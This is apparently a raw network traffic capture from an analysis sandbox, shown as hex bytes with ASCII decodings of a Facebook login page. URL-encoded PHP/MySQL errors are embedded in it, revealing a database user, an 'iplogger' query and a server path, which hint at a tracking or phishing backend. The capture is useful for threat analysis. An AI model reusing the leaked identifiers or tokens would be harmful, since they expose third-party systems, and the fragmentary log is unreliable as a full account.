4b 22 20 Data Ascii: WDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK"
2022-10-08 09:35:18 UTC	570	IN	Data Raw: 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 Data Ascii: ccess%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%2
2022-10-08 09:35:18 UTC	572	IN	Data Raw: 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 2f Data Ascii: Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" /
2022-10-08 09:35:18 UTC	573	IN	Data Raw: 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6f 2f 6c 2f 30 2c 63 72 6f 73 73 2f 58 48 77 75 41 5f 5f 34 32 41 66 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 34 42 47 54 6d 43 37 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 39 2f 6c 2f 30 2c 63 72 6f 73 73 2f 71 62 76 39 35 6f 5a 33 65 6c 42 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 Data Ascii: tatic.xx.fbcdn.net/rsrc.php/v3/yo/l/0,cross/XHwuA__42Af.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="4BGTmC7" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/y9/l/0,cross/qbv95oZ3elB.css?_nc_x=Ij3Wp8lg5Kz" data-boot
2022-10-08 09:35:18 UTC	575	IN	Data Raw: 31 65 68 54 39 79 71 2d 32 71 36 32 51 4d 22 7d 2c 22 31 32 31 37 31 35 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 42 37 59 6d 6c 6c 4f 73 41 72 6e 4b 36 44 54 55 22 7d 2c 22 31 35 35 34 38 32 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 7a 75 65 47 4c 68 47 6f 30 63 54 35 78 38 4a 51 22 7d 2c 22 31 37 33 38 34 38 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 63 58 33 37 6f 51 63 6f 36 44 77 68 55 76 4d 4d 22 7d 7d 2c 22 71 70 6c 44 61 74 61 22 3a 7b 22 37 37 35 38 22 3a 7b 22 72 22 3a 31 7d 7d 7d 29 7d 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 2c 22 53 65 72 76 65 72 4a 53 Data Ascii: 1ehT9yq-2q62QM"},"1217157":{"result":false,"hash":"AT6B7YmllOsArnK6DTU"},"1554827":{"result":false,"hash":"AT7zueGLhGo0cT5x8JQ"},"1738486":{"result":false,"hash":"AT4cX37oQco6DwhUvMM"}},"qplData":{"7758":{"r":1}}})});requireLazy(["TimeSliceImpl","ServerJS
2022-10-08 09:35:18 UTC	576	IN	Data Raw: 72 65 72 22 3a 7b 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 78 2d 73 72 63 22 3a 7b 22 74 22 3a 31 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 7d 2c 32 31 30 34 5d 2c 5b 22 43 75 72 72 65 6e 74 43 6f 6d 6d 75 6e 69 74 79 49 6e 69 74 69 61 6c 44 61 74 61 22 2c 5b 5d 2c 7b 7d 2c 34 39 30 5d 2c 5b 22 43 75 72 72 65 6e 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 22 2c 5b 5d 2c 7b 22 66 61 63 65 62 6f 6f 6b 64 6f 74 63 6f 6d 22 3a 74 72 75 65 2c 22 6d 65 73 73 65 6e 67 65 72 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 2c 22 77 6f 72 6b 70 6c 61 63 65 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 2c 22 69 6e 73 74 61 67 72 61 6d 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 7d 2c 38 32 37 5d 2c 5b 22 43 75 72 72 65 6e 74 55 73 65 72 49 6e 69 74 69 61 6c 44 61 74 61 22 2c 5b 5d 2c 7b 22 41 43 43 4f Data Ascii: rer":{"s":"None"},"x-src":{"t":1,"s":"None"}},2104],["CurrentCommunityInitialData",[],{},490],["CurrentEnvironment",[],{"facebookdotcom":true,"messengerdotcom":false,"workplacedotcom":false,"instagramdotcom":false},827],["CurrentUserInitialData",[],{"ACCO
2022-10-08 09:35:18 UTC	578	IN	Data Raw: 65 6e 74 44 61 74 61 22 2c 5b 5d 2c 7b 22 62 72 6f 77 73 65 72 41 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 36 34 22 2c 22 62 72 6f 77 73 65 72 46 75 6c 6c 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 62 72 6f 77 73 65 72 4d 69 6e 6f 72 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 62 72 6f 77 73 65 72 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 62 72 6f 77 73 65 72 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 64 65 76 69 63 65 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 65 6e 67 69 6e 65 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 65 6e 67 69 6e 65 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 70 6c 61 74 66 6f 72 6d 41 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 36 34 22 2c 22 70 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f Data Ascii: entData",[],{"browserArchitecture":"64","browserFullVersion":null,"browserMinorVersion":null,"browserName":"Unknown","browserVersion":null,"deviceName":"Unknown","engineName":"Unknown","engineVersion":null,"platformArchitecture":"64","platformName":"Windo
2022-10-08 09:35:18 UTC	579	IN	Data Raw: 4f 47 47 45 52 22 2c 22 57 4f 52 4b 50 4c 41 43 45 5f 50 4c 41 54 46 4f 52 4d 5f 53 45 43 55 52 45 5f 41 50 50 53 5f 4d 41 49 4c 42 4f 58 45 53 22 2c 22 50 4f 43 4b 45 54 5f 4d 4f 4e 53 54 45 52 53 5f 55 50 44 41 54 45 5f 4e 41 4d 45 22 2c 22 49 43 5f 44 49 53 41 42 4c 45 5f 4d 45 52 47 45 5f 54 4f 4f 4c 5f 46 45 45 44 5f 43 48 45 43 4b 5f 46 4f 52 5f 52 45 50 4c 41 43 45 5f 53 43 48 45 44 55 4c 45 22 2c 22 41 44 53 5f 45 50 44 5f 49 4d 50 41 43 54 45 44 5f 41 44 56 45 52 54 49 53 45 52 5f 4d 49 47 52 41 54 45 5f 58 43 4f 4e 54 52 4f 4c 4c 45 52 22 2c 22 52 45 43 52 55 49 54 49 4e 47 5f 43 41 4e 44 49 44 41 54 45 5f 50 4f 52 54 41 4c 5f 41 43 43 4f 55 4e 54 5f 44 45 4c 45 54 49 4f 4e 5f 43 41 52 44 22 2c 22 42 49 5a 5f 49 4e 42 4f 58 5f 50 4f 50 5f 55 50 Data Ascii: OGGER","WORKPLACE_PLATFORM_SECURE_APPS_MAILBOXES","POCKET_MONSTERS_UPDATE_NAME","IC_DISABLE_MERGE_TOOL_FEED_CHECK_FOR_REPLACE_SCHEDULE","ADS_EPD_IMPACTED_ADVERTISER_MIGRATE_XCONTROLLER","RECRUITING_CANDIDATE_PORTAL_ACCOUNT_DELETION_CARD","BIZ_INBOX_POP_UP
2022-10-08 09:35:18 UTC	580	IN	Data Raw: 2c 22 6c 65 61 72 6e 2e 70 61 6e 74 68 65 6f 6e 2e 69 6f 22 2c 22 77 77 77 2e 6c 61 6e 64 6d 61 72 6b 73 68 6f 70 73 2e 69 6e 22 2c 22 77 77 77 2e 6e 63 6c 2e 63 6f 6d 22 2c 22 73 30 2e 77 70 2e 63 6f 6d 22 2c 22 77 77 77 2e 74 61 74 61 63 6c 69 71 2e 63 6f 6d 22 2c 22 62 73 2e 73 65 72 76 69 6e 67 2d 73 79 73 2e 63 6f 6d 22 2c 22 6b 6f 68 6c 73 2e 63 6f 6d 22 2c 22 6c 61 7a 61 64 61 2e 63 6f 2e 74 68 22 2c 22 78 67 34 6b 65 6e 2e 63 6f 6d 22 2c 22 74 65 63 68 6e 6f 70 61 72 6b 2e 72 75 22 2c 22 6f 66 66 69 63 65 64 65 70 6f 74 2e 63 6f 6d 2e 6d 78 22 2c 22 62 65 73 74 62 75 79 2e 63 6f 6d 2e 6d 78 22 2c 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 6e 69 62 69 6f 2e 6e 6f 22 5d 7d 2c 33 38 37 31 5d 2c 5b 22 49 6e 69 74 69 61 6c 43 6f 6f 6b 69 65 43 6f 6e Data Ascii: ,"learn.pantheon.io","www.landmarkshops.in","www.ncl.com","s0.wp.com","www.tatacliq.com","bs.serving-sys.com","kohls.com","lazada.co.th","xg4ken.com","technopark.ru","officedepot.com.mx","bestbuy.com.mx","booking.com","nibio.no"]},3871],["InitialCookieCon
2022-10-08 09:35:18 UTC	582	IN	Data Raw: 28 2e 2a 29 28 27 7c 26 23 30 33 39 3b 29 73 5c 75 30 30 30 31 28 3f 3a 27 7c 26 23 30 33 39 3b 29 73 28 2e 2a 29 5c 2f 22 3a 22 5c 75 30 30 30 31 24 31 24 32 73 5c 75 30 30 30 31 24 33 22 2c 22 5c 2f 5f 5c 75 30 30 30 31 28 5b 5e 5c 75 30 30 30 31 5d 2a 29 5c 75 30 30 30 31 5c 2f 22 3a 22 6a 61 76 61 73 63 72 69 70 74 22 7d 7d 2c 31 34 39 36 5d 2c 5b 22 49 6e 74 6c 56 69 65 77 65 72 43 6f 6e 74 65 78 74 22 2c 5b 5d 2c 7b 22 47 45 4e 44 45 52 22 3a 33 2c 22 72 65 67 69 6f 6e 61 6c 4c 6f 63 61 6c 65 22 3a 6e 75 6c 6c 7d 2c 37 37 32 5d 2c 5b 22 4e 75 6d 62 65 72 46 6f 72 6d 61 74 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 64 65 63 69 6d 61 6c 53 65 70 61 72 61 74 6f 72 22 3a 22 2e 22 2c 22 6e 75 6d 62 65 72 44 65 6c 69 6d 69 74 65 72 22 3a 22 2c 22 2c 22 6d 69 Data Ascii: (.)('\|')s\u0001(?:'\|')s(.)\/":"\u0001$1$2s\u0001$3","\/_\u0001([^\u0001]*)\u0001\/":"javascript"}},1496],["IntlViewerContext",[],{"GENDER":3,"regionalLocale":null},772],["NumberFormatConfig",[],{"decimalSeparator":".","numberDelimiter":",","mi
2022-10-08 09:35:18 UTC	583	IN	Data Raw: 64 33 65 37 0d 0a 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 73 75 70 70 6f 72 74 5c 2f 69 6e 65 6c 69 67 69 62 6c 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5f 62 61 6c 61 6e 63 65 5f 72 65 64 69 72 65 63 74 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5f 62 61 6c 61 6e 63 65 5f 72 65 64 69 72 65 63 74 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5f 62 61 6c 61 6e 63 65 5f 72 65 64 69 72 65 63 74 5c 2f 6c 5c 2f 22 3a 31 2c 22 5c 2f 6c 2e 70 68 70 22 3a 31 2c 22 5c 2f 6c 73 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 61 6a 61 78 5c 2f 64 74 73 67 5c 2f 22 3a 31 2c 22 5c 2f 63 68 65 63 6b 70 6f 69 6e 74 5c 2f 62 6c 6f 63 6b 5c 2f 22 3a 31 2c 22 5c 2f 65 78 69 74 64 73 69 74 65 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 62 61 6c 61 6e 63 65 5c 2f 70 69 78 65 6c 5c 2f 22 3a 31 2c 22 Data Ascii: d3e7e\/":1,"\/zero\/support\/ineligible\/":1,"\/zero_balance_redirect\/":1,"\/zero_balance_redirect":1,"\/zero_balance_redirect\/l\/":1,"\/l.php":1,"\/lsr.php":1,"\/ajax\/dtsg\/":1,"\/checkpoint\/block\/":1,"\/exitdsite":1,"\/zero\/balance\/pixel\/":1,"
2022-10-08 09:35:18 UTC	585	IN	Data Raw: 74 69 6e 75 65 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 68 5c 2f 70 72 6f 6d 6f 73 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 6c 6f 61 6e 5c 2f 6c 65 61 72 6e 6d 6f 72 65 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 70 75 72 63 68 61 73 65 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 70 72 6f 6d 6f 73 5c 2f 75 70 67 72 61 64 65 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 62 75 79 5f 72 65 64 69 72 65 63 74 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 6c 6f 61 6e 5c 2f 62 75 79 63 6f 6e 66 69 72 6d 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 6c 6f 61 6e 5c 2f 62 75 79 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 73 6d 73 5c 2f 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 61 5c 2f 63 68 61 6e 6e 65 6c 5c 2f 72 Data Ascii: tinue\/":1,"\/upsell\/h\/promos\/":1,"\/upsell\/loan\/learnmore\/":1,"\/upsell\/purchase\/":1,"\/upsell\/promos\/upgrade\/":1,"\/upsell\/buy_redirect\/":1,"\/upsell\/loan\/buyconfirm\/":1,"\/upsell\/loan\/buy\/":1,"\/upsell\/sms\/":1,"\/wap\/a\/channel\/r
2022-10-08 09:35:18 UTC	586	IN	Data Raw: 64 65 76 69 63 65 5f 69 64 22 3a 22 24 5e 7c 41 63 62 70 6c 46 6f 47 4b 64 71 6d 72 66 4a 6f 77 49 70 41 5a 48 35 4e 4c 6e 4a 54 7a 6a 6c 54 66 43 6a 73 6d 53 56 68 6f 6b 68 61 4c 69 67 6d 57 53 57 58 69 6b 42 54 4c 43 34 7a 52 74 49 38 41 47 6d 2d 39 4d 7a 54 30 53 4c 61 5f 49 57 53 70 77 72 7a 56 49 66 36 77 63 73 6a 76 4f 63 7c 66 64 2e 41 63 62 49 39 6e 39 32 68 69 74 4d 63 62 62 7a 58 36 76 69 4e 30 76 74 30 6d 66 4c 48 4a 34 6a 4d 78 2d 43 76 75 75 70 4a 4b 39 44 54 64 39 33 62 66 78 34 58 6f 6a 6d 50 47 7a 34 2d 72 49 2d 6f 52 71 41 6f 2d 72 61 38 70 63 69 52 76 2d 67 36 4d 61 68 4b 76 4d 7a 22 2c 22 61 70 70 5f 69 64 22 3a 22 32 35 36 32 38 31 30 34 30 35 35 38 22 2c 22 65 6e 61 62 6c 65 5f 62 6c 61 64 65 72 75 6e 6e 65 72 22 3a 66 61 6c 73 65 2c Data Ascii: device_id":"$^\|AcbplFoGKdqmrfJowIpAZH5NLnJTzjlTfCjsmSVhokhaLigmWSWXikBTLC4zRtI8AGm-9MzT0SLa_IWSpwrzVIf6wcsjvOc\|fd.AcbI9n92hitMcbbzX6viN0vt0mfLHJ4jMx-CvuupJK9DTd93bfx4XojmPGz4-rI-oRqAo-ra8pciRv-g6MahKvMz","app_id":"256281040558","enable_bladerunner":false,
2022-10-08 09:35:18 UTC	588	IN	Data Raw: 73 69 74 69 6f 6e 73 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 73 65 74 54 69 6d 65 6f 75 74 41 63 72 6f 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 42 6c 75 65 22 2c 22 41 61 32 50 35 5a 4b 50 34 48 2d 63 69 4c 51 36 38 78 47 53 31 7a 39 65 62 65 42 53 50 67 74 34 38 70 2d 30 65 69 5a 78 68 45 51 50 55 77 33 43 43 6f 77 50 2d 79 5a 52 7a 71 63 64 43 7a 45 71 38 48 6f 74 63 30 6f 45 74 5f 46 4a 59 34 47 4a 53 48 79 50 45 73 54 6f 37 62 49 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 30 33 32 36 37 22 2c 5b 22 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 42 6c 75 65 22 2c 22 41 61 32 50 35 5a 4b 50 34 48 2d 63 69 4c 51 36 38 78 47 53 31 7a 39 65 62 65 42 53 50 67 74 34 Data Ascii: sitionsBlue"],{"__rc":["setTimeoutAcrossTransitionsBlue","Aa2P5ZKP4H-ciLQ68xGS1z9ebeBSPgt48p-0eiZxhEQPUw3CCowP-yZRzqcdCzEq8Hotc0oEt_FJY4GJSHyPEsTo7bI"]},-1],["cr:1003267",["clearIntervalBlue"],{"__rc":["clearIntervalBlue","Aa2P5ZKP4H-ciLQ68xGS1z9ebeBSPgt4
2022-10-08 09:35:18 UTC	589	IN	Data Raw: 5f 72 65 67 65 78 65 73 22 3a 7b 7d 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 5f 62 6f 6f 73 74 22 3a 7b 7d 2c 22 65 76 65 6e 74 5f 74 79 70 65 73 22 3a 7b 7d 2c 22 6d 61 6e 75 61 6c 5f 69 6e 73 74 72 75 6d 65 6e 74 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 70 72 6f 66 69 6c 65 5f 65 61 67 65 72 5f 65 78 65 63 75 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 64 69 73 61 62 6c 65 5f 68 65 75 72 69 73 74 69 63 22 3a 74 72 75 65 2c 22 64 69 73 61 62 6c 65 5f 65 76 65 6e 74 5f 70 72 6f 66 69 6c 65 72 22 3a 66 61 6c 73 65 7d 2c 31 37 32 36 5d 2c 5b 22 41 64 73 49 6e 74 65 72 66 61 63 65 73 53 65 73 73 69 6f 6e 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 7d 2c 32 33 39 33 5d 2c 5b 22 49 6e 74 6c 43 75 72 72 65 6e 74 4c 6f 63 61 6c 65 22 2c 5b 5d 2c 7b 22 63 6f 64 65 22 3a 22 65 Data Ascii: _regexes":{},"interaction_boost":{},"event_types":{},"manual_instrumentation":false,"profile_eager_execution":false,"disable_heuristic":true,"disable_event_profiler":false},1726],["AdsInterfacesSessionConfig",[],{},2393],["IntlCurrentLocale",[],{"code":"e
2022-10-08 09:35:18 UTC	590	IN	Data Raw: 65 62 61 72 22 3e 3c 64 69 76 20 69 64 3d 22 62 6c 75 65 42 61 72 44 4f 4d 49 6e 73 70 65 63 74 6f 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 35 33 6a 68 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 67 65 64 6f 75 74 5f 6d 65 6e 75 62 61 72 5f 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 66 69 78 20 6c 6f 67 67 65 64 6f 75 74 5f 6d 65 6e 75 62 61 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 66 6c 6f 61 74 20 5f 6f 68 65 22 3e 3c 68 31 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 47 6f 20 74 6f 20 46 61 63 65 62 6f 6f 6b 20 68 6f 6d 65 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 62 5f 6c 6f 67 6f 20 69 6d 67 20 73 70 5f 6f Data Ascii: ebar"><div id="blueBarDOMInspector"><div class="_53jh"><div class="loggedout_menubar_container"><div class="clearfix loggedout_menubar"><div class="lfloat _ohe"><h1><a href="https://www.facebook.com/" title="Go to Facebook home"><i class="fb_logo img sp_o
2022-10-08 09:35:18 UTC	592	IN	Data Raw: 22 20 63 6c 61 73 73 3d 22 5f 34 32 66 74 20 5f 34 6a 79 30 20 5f 65 73 31 20 5f 33 6a 64 38 20 6c 6f 67 69 6e 5f 66 6f 72 6d 5f 6c 6f 67 69 6e 5f 62 75 74 74 6f 6e 20 5f 34 6a 79 35 20 5f 34 6a 79 31 20 73 65 6c 65 63 74 65 64 20 5f 35 31 73 79 22 20 69 64 3d 22 6c 6f 67 69 6e 62 75 74 74 6f 6e 22 20 64 61 74 61 2d 74 65 73 74 69 64 3d 22 72 6f 79 61 6c 5f 6c 6f 67 69 6e 5f 62 75 74 74 6f 6e 22 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 3e 4c 6f 67 20 49 6e 3c 2f 62 75 74 74 6f 6e 3e 3c 2f 64 69 76 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 6e 61 6d 65 3d 22 74 69 6d 65 7a 6f 6e 65 22 20 76 61 6c 75 65 3d 22 22 20 69 64 3d 22 75 5f 30 5f 33 5f 68 30 22 20 2f 3e 3c 69 6e 70 75 Data Ascii: " class="_42ft _4jy0 _es1 _3jd8 login_form_login_button _4jy5 _4jy1 selected _51sy" id="loginbutton" data-testid="royal_login_button" type="submit">Log In</button></div><input type="hidden" autocomplete="off" name="timezone" value="" id="u_0_3_h0" /><inpu
2022-10-08 09:35:18 UTC	593	IN	Data Raw: 62 74 6e 20 5f 34 6a 79 34 20 5f 34 6a 79 32 20 73 65 6c 65 63 74 65 64 20 5f 35 31 73 79 22 20 68 72 65 66 3d 22 2f 72 2e 70 68 70 3f 6c 6f 63 61 6c 65 3d 65 6e 5f 55 53 22 3e 53 69 67 6e 20 55 70 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 43 6f 6e 74 61 69 6e 65 72 22 20 63 6c 61 73 73 3d 22 5f 63 71 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 62 5f 63 6f 6e 74 65 6e 74 20 63 6c 65 61 72 66 69 78 20 22 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 76 6c 20 5f 34 2d 64 6f 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 5f 34 2d 64 70 22 3e 54 68 69 Data Ascii: btn _4jy4 _4jy2 selected _51sy" href="/r.php?locale=en_US">Sign Up</a></span></div></div></div></div></div></div><div id="globalContainer" class="_cqt"><div class="fb_content clearfix " id="content" role="main"><div class="pvl _4-do"><h2 class="_4-dp">Thi
2022-10-08 09:35:18 UTC	595	IN	Data Raw: 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 Data Ascii: br%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/da
2022-10-08 09:35:18 UTC	596	IN	Data Raw: 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 Data Ascii: 